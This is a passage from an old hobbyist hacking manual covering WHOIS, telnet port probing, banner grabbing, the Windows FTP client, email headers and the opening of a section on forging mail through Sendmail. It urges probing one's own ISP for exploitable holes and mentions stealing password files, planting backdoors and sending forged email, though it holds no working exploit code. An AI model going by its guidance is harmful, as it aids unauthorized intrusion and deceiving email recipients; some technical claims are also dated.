  981. Will display help on the command.
  982.  
  983. **********************
  984. Hacking Tip: ARP (Address Resolution Protocol) is used to translate IP 
  985. addresses
  986. to Ethernet addresses. The translation is done only for outgoing IP
  987. packets, because this is when the IP header and the Ethernet header
  988. are created.
  989. IP address Ethernet address
  990. 1. 08-00-39-00-2F-C3
  991. Route is used to display info on the routing tables.
  992. **********************
  993.  
  994. WHOIS: Getting Info about a Domain
  995.  
  996. How do you get a .com registration? Well you register with Network Solutions
  997. give them some money and
  998. you have your own domain name i.e. your very own .com registration. Now all
  999. people who register with
  1000. Network Solutions have to fill a form in which they have to enter 
  1001. information
  1002. like Name, Contact Information ,
  1003. Email Address, IP address and much more. Now all this data or info is stored 
  1004. in
  1005. a DataBase mentained by
  1006. Network Solutions. You can perfom a query which is known as a Whois query 
  1007. and
  1008. gather information on a
  1009. particular domain or host. Say you want to find out the IP or the name of 
  1010. the
  1011. person who owns the
  1012. www.hotmail.com domain,what do you do?
  1013. Well either you could go to Network Solutions site or internic.net and enter
  1014. hotmail.com in the input box or
  1015. you can directly enter the following in the location bar of your Browser and
  1016. make a whois enquiry.
  1017. Enter the following in the location bar of your browser:
  1018. http://205.177.25.9/cgi-bin/whois?hotmail.com
  1019. Note: Replace Hotmail.com with the domain name of which you want to perfom a
  1020. WHOIS query.
  1021.  
  1022. Manual Port Surfing
  1023.  
  1024. You have obtained the list of open ports by using some canned hacking tool. 
  1025. Now
  1026. what do you do? Connect
  1027. to each port of the remote server i.e. your ISP.
  1028. Now earlier I taught you a lame method of telnetting to a remote server. Now
  1029. lets get to an cool method of
  1030. connecting to a remote computer.You are not a Hacker if you do not telnet 
  1031. like
  1032. this:
  1033.  
  1034. C:\windows> telnet hostname.com ###
  1035.  
  1036. Well this command is pretty much self explanatory. Telnet calls the telnet
  1037. program, Hostname is the
  1038. hostname or the IP of the remote server and ### is the open port of the 
  1039. remote
  1040. server you want to connect
  1041. to.
  1042. It is not necessary that as port 25 is normaly the SMTP port, each and every
  1043. server would be running SMTP
  1044. at port 25. It all varies from Server to server. If you learn Port surfing 
  1045. then
  1046. you can connect to the FTP (21)
  1047. daemon and download or upload files, connect to SMTP daemon and send mail 
  1048. even
  1049. forged mail, POP
  1050. (110) to receive mail and HTTP (80) to download web pages.
  1051. OK get ready to explore the most common ports which are likely to be open on
  1052. your ISP's servers.
  1053. Port 23 is the default port to which Telnet connects to if the port number 
  1054. is
  1055. not given. Generally when we are
  1056. connected to Port 23 of the remote server then we are greeted by a Welcome
  1057. Banner and then we are given
  1058. the Login Prompt. Generally connecting to Port 23 also gives the Name of the 
  1059. OS
  1060. running at the remote
  1061. server which is invaluable in finding exploits as a particular exploit may 
  1062. work
  1063. only if the remote computer is
  1064. running the same combination of service and Operating System.
  1065. Basically connecting to Port 23 gives us the OS of the remote computer.
  1066. WIN 95/98/NT don't ship with telnet servers so unless the telnet server is
  1067. installed Port 23 would no be
  1068. open. So if Port 23 of your ISP is not open then it should be safe to think 
  1069. that
  1070. the server is not runnign Win
  1071. 95/98/NT. But you can never be sure just maybe your ISP has installed a 
  1072. telnet
  1073. server and is running
  1074. Windows.
  1075. Nowdays almost none of the ISP's keep Port 23 open as the number of Hackers 
  1076. has
  1077. really increased. Now
  1078. lets move on to Port 21 or the FTP Port.
  1079. Do you use Cute FTP or some other FTP client? Ever wondered how it works?
  1080.  
  1081. FTP or Port 21 Explained
  1082.  
  1083. First of all FTP stands for File Transfer Protocol.To read geek stuff on the 
  1084. FTP
  1085. protocol read RFC 114 and
  1086. RFC 959.
  1087. FTP or File Transfer Protocol is a Protocol used to transfer files from a 
  1088. server
  1089. to a client. Now a server
  1090. would be the computer you are connected to and the client would be you 
  1091. yourself.
  1092. To connect to a FTP
  1093. server we need to have a FTP software known as the FTP client.This basically 
  1094. is
  1095. protocol popular for
  1096. tranfering files from the server to the client or vis-a-versa.So we can say 
  1097. that
  1098. FTP servers will allow you to
  1099. download and also upload files.
  1100.  
  1101. LIST OF FTP SERVERS
  1102. Unix FTPD
  1103. Win9x WFTPD, Microsoft Frontpage
  1104. Win NT IIS
  1105. Mac FTPD
  1106.  
  1107. Well it is really a simple process of FTP'ing to your favourite site. Infact
  1108. Windows itself ships with a FTP
  1109. client which is quite lame and I do not at all recommand it, but still what 
  1110. the
  1111. heck. How FTP is actually quite
  1112. self explanatory, now the FTP Client i.e the program that you run at your
  1113. computer first contacts the FTP
  1114. daemon (Service running at Port 21) on the server specified, if the Server 
  1115. has a
  1116. FTP daemon running then
  1117. you might get a welcome screen which is also known as the Daemon Banner. A
  1118. daemon Banner would be
  1119. something that either displays a welcom emessage and info on the OS or 
  1120. service
  1121. running on the host you
  1122. have FTP'ed to.A daemon banner gives us valuable info on the host we connect
  1123. to.Just remmember that if
  1124. we want to get root or break into a FTP server then we need to search for a 
  1125. hole
  1126. we can exploit, tand to
  1127. search for a hole which we can exploit, we need to know the OS, the OS 
  1128. version
  1129. and also the version on the
  1130. FTP server running by the host. This means that say there is a FTP server 
  1131. which
  1132. has 2 versions, one that
  1133. runs in Windows and the other that runs in Unix. If say the Unix version has 
  1134. a
  1135. hole, then it is not necessary
  1136. that the Windows version too would have the same hole. A hole exists due to 
  1137. the
  1138. combination of the Server
  1139. running at the OS running at the host. This means even if the OS is 
  1140. different
  1141. but the FTP server is the same,
  1142. the hole would not work.So before you start to look for holes in the FTP 
  1143. server
  1144. running at your ISP, just note
  1145. down the OS version and the FTp server version running at your ISP.The 
  1146. daemon
  1147. banner is followed by the
  1148. Password Prompt. Something like the Following:
  1149.  
  1150. Connected to web2.mtnl.net.in.
  1151. 220-
  1152. 220-#*************************************************************
  1153. 220-#           Welcome to MTNL's ftp site
  1154. 220-#*************************************************************
  1155. 220-#
  1156. 220-#  You can upload your own homepages at this site!!!
  1157. 220-#
  1158. 220-#  Just login with your username and upload the HTML pages.
  1159. 220-#  (You can use your favourite HTML editor as well)
  1160. 220-#
  1161. 220-#  World will see it at http://web2.mtnl.net.in/~yourusername/
  1162. 220-#
  1163. 220-#  So get going......UNLEASH YOUR CREATIVITY !!!!
  1164. 220-#
  1165. 220-#*************************************************************
  1166. 220-
  1167. 220 ftp2.mtnl.net.in FTP server ready.
  1168. User (web2.mtnl.net.in:(none)): ankit
  1169. 331 Password required for ankit.
  1170. Password:
  1171.  
  1172. Now most FTP daemons are badly configured, well actually I should say the 
  1173. system
  1174. administrators allow
  1175. Guest or anonymous Logins. What I mean by that is the FTP Daemon allows you 
  1176. to
  1177. enter Guest or
  1178. Anonymous as the Username. If you login through the Guest account, then it 
  1179. asks
  1180. you for your email
  1181. address, so that it can add to the server logs that you visited that site 
  1182. and
  1183. used the FTP Daemon.
  1184. Here instead of your true email address, you can make one up in your mind, 
  1185. just
  1186. remember to put the @
  1187. sign in between and of course no spaces.
  1188.  
  1189. So How Do I use the Windows FTP Client?
  1190.  
  1191. Well first of all I think the FTP client which ships with Windows is not a 
  1192. GUI
  1193. application.I personally do not
  1194. like it and think you should either use your Favourite FTP Client or use the
  1195. Telnet Application that ships with
  1196. Windows to connect to Port 21.
  1197. Anyway for those of who are die hard Microsoft fans or want to learn each 
  1198. and
  1199. every thing in Windows, I will
  1200. explain how this FTP Client is used. Actually this FTP program is quite 
  1201. powerful
  1202. and it makes Hacking cool.
  1203. If you use a GUI FTP program for hacking to impress your friends then they 
  1204. would
  1205. probably say that anyone
  1206. can use a GUI. This Windows FTP program may seem formidable to some at first
  1207. sight.
  1208. Now first of all goto MS DOS to run this program as it runs in DOS.Now type 
  1209. FTP
  1210. to launch it.
  1211.  
  1212. C:\WINDOWS>ftp
  1213.  
  1214. Your prompt will change to
  1215.  
  1216. ftp>
  1217.  
  1218. This is the FTP prompt and signifies that the FTP Client has been launched 
  1219. and
  1220. is running.
  1221. Now to transfer files or to do some FTP Hacking you need to know the FTP
  1222. commands. To get a list of FTP
  1223. commands type Help at the FTP prompt.
  1224.  
  1225. ftp> help
  1226.  
  1227. Commands may be abbreviated. Commands are:
  1228. ! delete literal prompt send
  1229. ? debug ls put status
  1230. append dir mdelete pwd trace
  1231. ascii disconnect mdir quit type
  1232. bell get mget quote user
  1233. binary glob mkdir recv verbose
  1234. bye hash mls remotehelp
  1235. cd help mput rename
  1236. close lcd open rmdir
  1237. ftp>
  1238.  
  1239. You may get something like the above on your screen.Instead of typing Help 
  1240. you
  1241. could also type ? that too
  1242. would give the same result. Now to get Help on individual Commands type the
  1243. following:
  1244.  
  1245. ftp>help [command]
  1246.  
  1247. Like say for example, I want to learn how to use the cd command what it does
  1248. then I type the following:
  1249. ftp>help cd
  1250.  
  1251. The FTP program will return this:
  1252.  
  1253. cd Change remote working directory
  1254.  
  1255. Note: Instead of the Above I could also have typed: ftp>? Cd
  1256.  
  1257. Different FTP Commands:
  1258.  
  1259. Now the Get command is used to get files from the server you are connected 
  1260. to.
  1261.  
  1262. ftp>get file.txt
  1263.  
  1264. This will get or download the text file with the name file.
  1265. To download multiple files one cannot use the get command. The mget or the
  1266. multiple gets command is
  1267. used instead.(the m in mget stands for multiple)
  1268. For example the following gets all text files from the host,
  1269.  
  1270. ftp>mget *.txt
  1271.  
  1272. Say you want to upload a single file then you use the put command and to 
  1273. upload
  1274. multiple files
  1275. use the mput command.
  1276. Say you are working in the Windows Directory and want to change to the
  1277. c:\windows\temp directory while
  1278. you are in the process of uploading files, so change the local directory use 
  1279. the
  1280. lcd command.
  1281. For example,
  1282.  
  1283. ftp>lcd temp
  1284.  
  1285. This will make temp the current local working directory.
  1286. The Bye or Close commands are basically terminating commands.The ! commad 
  1287. allows
  1288. you to escape to
  1289. the shell at any moment.
  1290. Another interesting command is the SYST command which gives us information 
  1291. on
  1292. the server's OS and FTP
  1293. server's version etc.This is excellent to get info on the host's OS cersion 
  1294. and
  1295. FTP daemon's version, so that
  1296. you can seacrh for it on the net.
  1297. For a single line description of each command use the help or the ? command
  1298. followed by the command you
  1299. want info on.
  1300. Now that you know some of the Basic FTP commands let me take you through the
  1301. process of uploading
  1302. your site to your ISP's server. I am assuming that your ISP's hostname is
  1303. isp.net and all the files that have to
  1304. uploaded to the ISP's server are in the directory c:\Site
  1305. First lets start my connecting or FTP'ing to your ISP. There are 2 ways to 
  1306. start
  1307. a FTP session.First way is to
  1308. pass an argument alognwith the Ftp Command i.e. you can directly connect to 
  1309. a
  1310. host by typing ftp followed
  1311. by the hostname. The second method involves firstly the launching of the FTP
  1312. client and then using the
  1313. Open command to connect to the host. Fot more info on the open command type 
  1314. help
  1315. open
  1316. For Example,
  1317.  
  1318. C:\windows>ftp isp.net
  1319. Or
  1320. C:\windows>ftp
  1321. ftp>open isp.net
  1322.  
  1323. In most cases after you have connected to the host i.e your ISP you will see 
  1324. the
  1325. Welcome Banner or your
  1326. ISP and then it will ask for a username and a password. Enter them. If you 
  1327. do
  1328. not have them then try the
  1329. Anonymous or the Guest Login or read on to learn to Hack into a FTP
  1330. server.Anyway getting back to the
  1331. uploading of the website. Now remember that the files you want to upload are 
  1332. in
  1333. the c:\site directory but the
  1334. current local working directory is Windows( It is normally the Default 
  1335. Directory
  1336. in which MS DOS would
  1337. open,) So before starting to upload files you need to change the Local 
  1338. working
  1339. directory from c:\windows to
  1340. c:\site. So to this use the lcd command.
  1341.  
  1342. For Example,
  1343.  
  1344. ftp>lcd c:\site
  1345.  
  1346. Now you are set to upload the files, I am assuming that all files in the
  1347. directory need to be uploaded, if that is
  1348. not the case then use the WildCard " * " symbol and make the necessary
  1349. selections.
  1350.  
  1351. ftp>mput *.*
  1352.  
  1353. Voila you have just uploaded your own website by using a command line FTP
  1354. program you have finally
  1355. learnt to do without the GUI clients.
  1356. You may say that all this stuff is stupid and you do not give a damn about
  1357. uploading your site and want to
  1358. learn how to break into FTP servers and steal passwords....well if you are
  1359. reading this manual then I am
  1360. sure you have no knowledge about how to hide your identity while connecting 
  1361. to a
  1362. FTP server.You see
  1363. whenevr you connect to a FTP server, any server for that matter, your IP is
  1364. recorded in the Server log and
  1365. when the system administartor finds that someone is downloading the 
  1366. passwords
  1367. file, then I am pretty much
  1368. sure that he would not be too pleased and you will find that the feds are
  1369. fighting with the SS outside your
  1370. house as to who gets to arrest you. It is illegal to download password file
  1371. which is not available to the normal
  1372. public.Now don't get the wrong idea that I am against hacking or something, 
  1373. but
  1374. what I want you guys to
  1375. understand is that I do not want you guys to get caught, and like I said 
  1376. before,
  1377. if U reading this manual then
  1378. you do not know how to edit the server logs and how to hide your identity, 
  1379. how
  1380. to erase all your tracks from
  1381. the victim's server and how to create a backdoor to the server so that you 
  1382. can
  1383. access it whenever you want.
  1384.  
  1385. Common FTP Hacks
  1386.  
  1387. There are various FTP servers with various versions. No FTP server is fully
  1388. clean of bugs. There are so
  1389. many bugs that even if I write a line of each it would become too 
  1390. loooooooong.
  1391. But you can seacrh for FTP
  1392. bugs by finding out the FTP version number and the OS running at the host 
  1393. and
  1394. searching for the hole at the
  1395. following sites:
  1396.  
  1397. http://astalavista.box.sk
  1398. http://cert.org
  1399. http://www.securityforce.com
  1400. http://packetstorm.genocide.com
  1401. http://www.antionline.com
  1402. http://www.rootshell.com
  1403. http://www.insecure.org
  1404. http://www.ntbugtraq.com
  1405. http://support.microsoft.com (Get Security Bulletins and Fixes to common 
  1406. holes
  1407. on Windows systems)
  1408. http://www.crosswinds.net/~hackingtruths
  1409.  
  1410. Some common FTP Bugs would be the FTP bounce Attack and Local FTP bugs(Read 
  1411. the
  1412. following
  1413. manual: http://www.crosswinds.net/~hackingtruths/ftpindex.txt).There is also 
  1414. a
  1415. DOS (Denial of Services, not
  1416. MSDOS) attack which can be used to crash Win NT servers and also a OOB(Out 
  1417. of
  1418. Band Attack). (Read all
  1419. about it at: http://blacksun.box.sk/ftp.txt )
  1420.  
  1421. SMTP [Port 25] & POP [Port 110]
  1422.  
  1423. Most of you would be using email clients like MS Outlook, Netscape 
  1424. Messenger,
  1425. Eudora or even Opera to
  1426. send and receive mail. Have you ever wondered what exactly your favourite 
  1427. email
  1428. client does? I will just give
  1429. you an overview of what actually happens.
  1430.  
  1431. Now when you compose and mail and click on Send, then your email client 
  1432. locates
  1433. the mail server that you
  1434. specified during Configuration time or suring Setup. Once the mail server is
  1435. located, your email client by
  1436. default connects to port 25(SMTP or the Simple Mail Transfer Protocol) to 
  1437. send
  1438. mail. Now at Port 25 a
  1439. daemon is running which listens for connections.Now your email client 
  1440. connects
  1441. to this daemon and sends
  1442. mail. Most mail servers have Sendmail which is also known as the buggiest 
  1443. daemon
  1444. on earth installed on
  1445. the SMTP port.Qmail is also another popular SMTP daemon running on most Web
  1446. based email services'
  1447. mail servers (eg. Hotmail is running qmail)
  1448.  
  1449. Now in the other case i.e when you receive mail, your email client by 
  1450. default
  1451. connects to port 110 i.e the
  1452. POP3 or the Post Office Protocol (version 3) port.Once connected the POP3 
  1453. daemon
  1454. authenticates you i.e.
  1455. asks for a user name and password which is automatically sent by your email
  1456. client to the server.Once
  1457. authenticated, you can receive mail.
  1458. This means that to send mail you need no user name and password but to 
  1459. receive
  1460. mail you need a
  1461. username and password. Recently Yahoo, once it started providing POP based 
  1462. mail,
  1463. had developed this
  1464. problem that the user could not send mail unless he had received mail i.e he 
  1465. had
  1466. authenticated.
  1467.  
  1468. Now in the case of free Web Based services too the same thing happens. In 
  1469. this
  1470. case you compose your
  1471. email in a form whose action tag points to a CGI (or Common Gateway 
  1472. InterFace)
  1473. script which sends the
  1474. content of the form (that would be what you composed or typed out.) to the
  1475. Sendmail deamon which uis
  1476. running on Port 25 of the mail server of the company whose mail services you 
  1477. are
  1478. using.Here you are
  1479. authenticated once you enter your user name and password at the login
  1480. page.Sendmail daemons of web
  1481. based mail servers too can be used to send mail without authentication.
  1482.  
  1483. ************************
  1484. UberHacker Note: Above I have assumed that you have some knowledge of Web
  1485. development i.e. HTML or
  1486. HyperText MarkUp Language and CGI.
  1487. To Learn HTML goto:
  1488. www.htmlgoodies.com
  1489. Search the MSDN Library, which I think simply the most amazing and the most
  1490. comprehensive library
  1491. containing all types of Tech Text. URL: http://msdn.microsoft.com
  1492. Learn CGI programming with Perl 5 by reading my Perl Tutorials.
  1493. *************************
  1494.  
  1495. What is my mail server or which is the server I connect to send email.
  1496. Now if you use the email service provided by your ISP then it is pretty 
  1497. simple
  1498. to find out the mail server you
  1499. connect to, to send and receive mail. Now say your ISP's name is xyz and 
  1500. their
  1501. domain is xyz.com
  1502. Then your mail server would most probably be
  1503. mail.xyz.com (Port 25) to send mail and mail.xyz.com (Port 110) to receive
  1504. mail.Instead of mail.xyz.com
  1505. (Port 25) for sendmail mail, you can also try mailgw.xyz.com (Port 25).
  1506.  
  1507. Email Headers
  1508.  
  1509. The Sendmail daemon is a really interesting one which allows you to get root 
  1510. on
  1511. a badly configured system and also allows you to send fake mail!!!
  1512. Well to understand the concept of Fake Mail you need to be more through with
  1513. Email Headers, So let me start by explaining what email Headers actually 
  1514. are.
  1515. This brings me back to the subject of what exactly happens when you send a 
  1516. mail,
  1517. now let me resume from what happens after the Sendmail Daemon has sent your
  1518. mail. Now say you live in Los Angeles and have sent an email to a friend in 
  1519. New
  1520. York, so how does your email reach New York? Now once the Sendmail Daemon 
  1521. has
  1522. composed your mail then it will send the mail to the Server whose Domain 
  1523. name is
  1524. the same as the domain name that you entered, (In an email the Domain Name 
  1525. is
  1526. the text after the @ sign.) So your email may be first sent to the server of 
  1527. the
  1528. company that provides Internet Backbone is your Country and from there it 
  1529. would
  1530. be sent to the server is which your friend has an account, so your email 
  1531. travels
  1532. through a number of Routers and Servers before reaching your friend's Inbox.
  1533. Now whatever Server an email has travelled through is recorded in the 
  1534. Headers of
  1535. the Email, the entire path taken by the email and other valuable info is
  1536. provided by Email Headers.
  1537.  
  1538. So How do I see Headers?
  1539.  
  1540. Now to look at the complete Headers in Outlook Express , right click on the
  1541. message and Select Properties, this will bring up a Window Showing only 
  1542. Partial
  1543. Headers, Now to see the Full Headers click on the Message Source Button. In
  1544. Netscape you can look at Headers by clicking on View>Headers>Full.To learn 
  1545. about
  1546. how to see full headers in your fav email client browse the Help of your 
  1547. client.
  1548. So you did the above and now know that Headers contain some IP addresses and
  1549. some Host Names. Now I will explain what exactly Headers Tell you.
  1550. Now let's take an example header that I specially prepared for you guys.
  1551.  
  1552. Return-Path: name@xyz.net
  1553. Received: from mail2.xyz.net by delhi1.mtnl.net.in (8.9.1/1.1.20.3/26Oct99-
  1554. 0620AM)
  1555.     id SAA0000012322; Fri, 7 Apr 2000 18:51:27 +0530 (IST)
  1556. From: "[Noname]" <name@xyz.net>
  1557. To: "Ankit Fadia" <ankit@bol.net.in>
  1558. Subject: More questions :)
  1559. Date:Mon, 28 Feb 2000 22:13:12 +0100
  1560. Message-ID: <20000407131945.16316.qmail@mail2.xyz.net>
  1561. MIME-Version: 1.0
  1562. Content-Type: text/plain; charset="iso-8859-1"
  1563. Content-Transfer-Encoding: 7bit
  1564. X-MSMail-Priority:Normal
  1565. X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
  1566.  
  1567.  
  1568. Now let's go through the entire headers line by line.
  1569. Return-Path: name@xyz.net
  1570. The above line tells us that the sender is name@xyz.net This line can easily 
  1571. be
  1572. forged, but let's stick to a the headers of a genuine email which has not 
  1573. been
  1574. forged.This line also tells us the name of the ISP or the name of the 
  1575. company
  1576. with which the sender has an email account with.In this case xyz become the 
  1577. name
  1578. of the ISP or Email Service provider and www.xyz.net would normaly be the
  1579. website of the email provider.
  1580.  
  1581. Moving further down we find the following line:
  1582.  
  1583. Received: from xyz.net by delhi1.mtnl.net.in (8.9.1/1.1.20.3/26Oct99-0620AM)
  1584.     id SAA0000012322; Fri, 7 Apr 2000 18:51:27 +0530 (IST)
  1585.  
  1586. The above line tells us that the email travelled from the server xyz.net to 
  1587. the
  1588. server delhi1.mtnl.net.in .  The text in the brackets after 
  1589. delhi1.mtnl.net.in
  1590. gives us the Sendmail version number running at delhi1.mtnl.net.in.The above
  1591. header tells us that delhi1.mtnl.net.in is running version 8.9.1 version of
  1592. Sendmail at port 25.Now within the brackets there is a date(In this case
  1593. 26Oct99-0620AM)this date is not the date at which the email passed through 
  1594. this
  1595. server but the date represents when the Sendmail daemon was last configured 
  1596. or
  1597. setup or upgraded.The next line in the same header gives us the date at 
  1598. which
  1599. the email passed through the server.
  1600.  
  1601. By reading this header we already know that the mail originated at 
  1602. mail2.xyz.net
  1603. and was sent by name@xyz.net to ankit@bol.net.in. The mail server of
  1604. name@xyz.net  (i.e. mail2.xyz.net) then passed on the email to my mail 
  1605. server
  1606. which is delhi1.mtnl.net.in.My mail server then delivered the email to my
  1607. account.
  1608. Before the get on the easier to understand less important lines, I would 
  1609. like to
  1610. discuss the Message ID line:
  1611.  
  1612. Message-ID: 20000407131945.16316.qmail@mail2.xyz.net
  1613.  
  1614. Now if you look at this line carefully then you would find that it gives out
  1615. some very valuable info on the server at which the email was written and 
  1616. also
  1617. some info on as to when the sender or his email client logged on to his mail
  1618. server and sent this mail.Now to further understand the above line, let's 
  1619. break
  1620. it up into smaller pieces.
  1621. The part 20000407131945 represents the date/time at which the sender logged 
  1622. on
  1623. to the mail server to send the mail.It shows the date/time in the 
  1624. yyyymmddhhmmss
  1625. format.So the above piece of gibberish can be rewritten as:
  1626.  
  1627. 2000/04/07/13:19:45 which is Year:2000,Month:April(4th month),Day:7th, and 
  1628. Time
  1629. is 1:19 and 45 seconds(PM)
  1630.  
  1631. The number after the first dot i.e. 16316 is the reference number of that
  1632. particular email.You know that each this email was sent from mail2.xyz.net, 
  1633. but
  1634. many more maybe thousands more have been sent by that mail server on that
  1635. particular day, so in order to distiguish mails from each other, each mail 
  1636. is
  1637. reffered to by a unique Message ID.For each mail that a mail server sends, 
  1638. it
  1639. logs details regarding info on sender, time etc etc.Now to distiguish 
  1640. between
  1641. logs of two different emails, the unique Message ID is used.So one gather 
  1642. more
  1643. info on the sender of a particular email by contacting the system 
  1644. administrator
  1645. of the mail server that the sender used to send the email with the Message 
  1646. ID.
  1647. The next bit tells us that the mail server mail2.xyz.net is running qmail 
  1648. which
  1649. like Sendmail is a daemon which handles sending of emails.
  1650.  
  1651. The remaining few lines are also quite self Explanatory:
  1652.  
  1653. From: "[Noname]" <noname@isp.net>
  1654. To: "Ankit Fadia" <ankit@bol.net.in>
  1655. Subject: More questions :)
  1656. Date:Mon, 28 Feb 2000 22:13:12 +0100
  1657. MIME-Version: 1.0
  1658. Content-Type: text/plain; charset="iso-8859-1"
  1659. Content-Transfer-Encoding: 7bit
  1660.  
  1661. This tells us that the NickName of the person who has sent this mail is 
  1662. [Noname]
  1663. and his mail address would be noname@isp.net. The next line specifies the 
  1664. email
  1665. address to which the mail was sent to. The rest of the lines give us MIME 
  1666. and
  1667. other info on Encoding etc.
  1668.  
  1669. X-MSMail-Priority:Normal
  1670. X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
  1671. X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
  1672.  
  1673. The X-Mailer Header tell's us the Email client which sent the mail, in this 
  1674. case
  1675. it is Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0).
  1676.  
  1677. You may say that Headers are very boring and what the hell do they have to 
  1678. do
  1679. with Hacking.Well Hacking is about knowledge and knowledge can never be bad 
  1680. for
  1681. you and the ability to read headers is quite useful when one has to trace
  1682. Spammers or find out the person who mail bombed him.Most newbies spend a lot 
  1683. of
  1684. time Scanning for Internet hosts with Port 25 open and never bother to learn 
  1685. how
  1686. to read headers.They do not know that Headers provide you with a list of 
  1687. mail
  1688. servers which may allow you to send perfectly forged mail.So take my advice 
  1689. and
  1690. try to be as through with headers as you can, you are not a hacker if you 
  1691. are
  1692. not able to read Email headers.
  1693.  
  1694. Sending Forged Mail using SMTP (Port 25)
  1695.  
  1696. Ever dreamt of sending forged emails so that the victim does not know who 
  1697. sent
  1698. this email??? Or do you want to send an email to someone so that he thinks 
  1699. that
  1700. the Sender of the email is not you but someone else??? Well then Email 
  1701. Forging
  1702. is the thing for you.
  1703. Sending a forged email is quite simple and easy to understand, but you just 
  1704. need
  1705. to apply a liitle bit of your brain to understand the various aspects of a
  1706. perfect forged email and various applications of forging emails. Now first 
  1707. see
  1708. how one can send a forged email.
  1709.  
  1710. Remember that earlier in this guide I had explained how an email is sent? If 
  1711. you
  1712. do not remember then I would suggest you go back a bit and refresh your 
  1713. memory
  1714. by reading the section titled "SMTP [Port 25] & POP [Port 110]"
  1715.  
  1716. Now let's log on to Port 25 of a mail server and see how the Sendmail daemon
  1717. behaves and how we can send a forged mail.
  1718. Open your fav Telnet client, my favourite is the one that ships with Windows
  1719. anyway then telnet to Port 25 of the mail server.You will be welcomed by
  1720. something that is called a daemon banner.
  1721.  
  1722. 220 delhi1.mtnl.net.in ESMTP Sendmail 8.9.1 (1.1.20.3/26Oct99-0620AM) Fri, 7 
  1723. Apr
  1724. 2000 19:57:05 +0530 (IST)
  1725.  
  1726. **************
  1727. Hacking Truth: A daemon banner is nothing but a welcome message that the 
  1728. host
  1729. provides to the visitors.But a daemon banner is not merely a unimportant 
  1730. welcome
  1731. message.It provides us with some very valuable info on the host we have
  1732. connected to like for example when I connect to Port 23 of my ISP, then
  1733. I get a Welcome message alongwith the Joke of the day and also the most
  1734. important of all the OS and OS version runninf at my ISP.This is very 
  1735. imporant
  1736. when we are looking for an exploit which we can use to break in or get root.
  1737. *************
  1738.  
  1739. The daemon banner tells us the host we are connected to is running Sendmail
  1740. version 8.9.1 and uses the ESMTP standards or the Extended Simple Mail 
  1741. Tranfer
  1742. Protocol to transport messages.The number within the brackets give the date 
  1743. and
  1744. time the Sendmail daemon was last configured or upgraded.The date outside 
  1745. the
  1746. brackets is the current date and time at the host.I am sure you must have 
  1747. got
  1748. the hang of reading Headers and such info by now....that makes you kewler 
  1749. than
  1750. your friends!!!
  1751. And if you get an error message instead of the Daemon banner then it means 
  1752. that
  1753. the host you are trying to connect to has disabled public access to that 
  1754. mail
  1755. server to increase the security of the Network.
  1756.  
  1757. Before I go on let's see what your email client does when it has connected 
  1758. to
  1759. Port 25 and started communicating with the Sendmail daemon.Now the email 
  1760. client
  1761. sends so Sendmail commands that it knows beforehand and orders Sendmail to
  1762. prepare a mail for such and such person which is supposed to be from such 
  1763. and
  1764. such person and the body of the email is to be blah blah blah.
  1765.  
  1766. The morale of the story was that the email client uses Sendmail commands to 
  1767. give
  1768. info such as Sender's email address, recepient's email address, the body of 
  1769. the
  1770. email address etc etc to the Sendmail daemon, this means that the email 
  1771. client
  1772. controls what info is to be given to Sendmail and wheather this info is to 
  1773. be
  1774. true or not.The above process of connecting to Port 25 of the mail server is 
  1775. not
  1776. viewable to the user and occurs in the background.
  1777.  
  1778. *************
  1779. Hacking Truth: Outlook Express infact records all the commands that it 
  1780. issued to
  1781. the mail server to send mails.Ths log fils is stored in the
  1782. "c:\windows\application data" folder under the name smtp.log Just search for
  1783. smtp.log and you will get many results.Let's look at a typical Outlook 
  1784. Express
  1785. Log file.The following is an excerpt:
  1786.  
  1787. Outlook Express 5.00.2314.1300
  1788. SMTP Log started at 10/08/1999 15:00:33
  1789. SMTP: 15:01:15 [rx] 220 delhi1.mtnl.net.in ESMTP Sendmail 8.9.1
  1790. (1.1.20.3/16Sep99-0827PM) Fri, 8 Oct 1999 14:50:17 +0530 (IST)
  1791. SMTP: 15:01:15 [tx] HELO hacker
  1792. SMTP: 15:01:15 [rx] 250 delhi1.mtnl.net.in Hello [203.xx.248.175], pleased 
  1793. to
  1794. meet you
  1795. SMTP: 15:01:16 [tx] MAIL FROM: <ankit@bol.net.in>
  1796. SMTP: 15:01:16 [rx] 250 <ankit@bol.net.in>... Sender ok
  1797. SMTP: 15:01:16 [tx] RCPT TO: <billgates@hotmail.com>
  1798. SMTP: 15:01:16 [rx] 250 <billgates@hotmail.com>... Recipient ok
  1799. SMTP: 15:01:16 [tx] DATA
  1800. SMTP: 15:01:16 [rx] 354 Enter mail, end with "." on a line by itself
  1801. SMTP: 15:01:20 [tx]
  1802. .
  1803. SMTP: 15:01:23 [rx] 250 OAA0000014842 Message accepted for delivery
  1804. SMTP: 15:01:23 [tx] QUIT
  1805. SMTP: 15:01:23 [rx] 221 delhi1.mtnl.net.in closing connection
  1806.  
  1807. Those of you who are already familiar with SMTP or Sendmail commands can 
  1808. pretty
  1809. much make out how revealing this log file is and what kind of important info 
  1810. on
  1811. the email sending activities of the user is reveals.
  1812. Such a detailed report or log on each and every mail ever sent through 
  1813. Outlook
  1814. Express is recorded in this file.Deleting emails from the Sent folder of 
  1815. Outlook
  1816. Express does not clean these logs.A well informed hacker would be no time be
  1817. able to get a list of people to whom you have sent mails to.
  1818. Well that is Microsoft for you!!! Well atleast the log file does not reveal 
  1819. the
  1820. actualy body of the email.
  1821. And if you can't make head or tail or the above, then read on.
  1822. *******************
  1823.  
  1824. Now that we have connected to Sendmail we are going to repeat the entire 
  1825. above
  1826. process manually to send forged mail.
  1827. You do not need to memorise or remember these SMTP commands in order to send
  1828. forged mail.Whenever you have the slighest doubt or have forgotten the 
  1829. syntax or
  1830. the command itself, then you can easily get help by simply typing 'Help' at 
  1831. the
  1832. sendmail prompt.On some systems typing '?' might bring a response.
  1833.  
  1834. NOTE: Whatever you type at the Sendmail prompt is not visible to you unless 
  1835. you
  1836. enable the local echo option.If you using the Telnet client shipping with
  1837. Windows then simple click on Terminal > Preferences and from the dialog box
  1838. enable the Local Echo option.
  1839. So typing Help at the prompt prompts the following result:
  1840.  
  1841. 214-This is Sendmail version 8.9.1
  1842. 214-Topics:
  1843. 214-    HELO    EHLO    MAIL    RCPT    DATA
  1844. 214-    RSET    NOOP    QUIT    HELP    VRFY
  1845. 214-    EXPN    VERB    ETRN    DSN
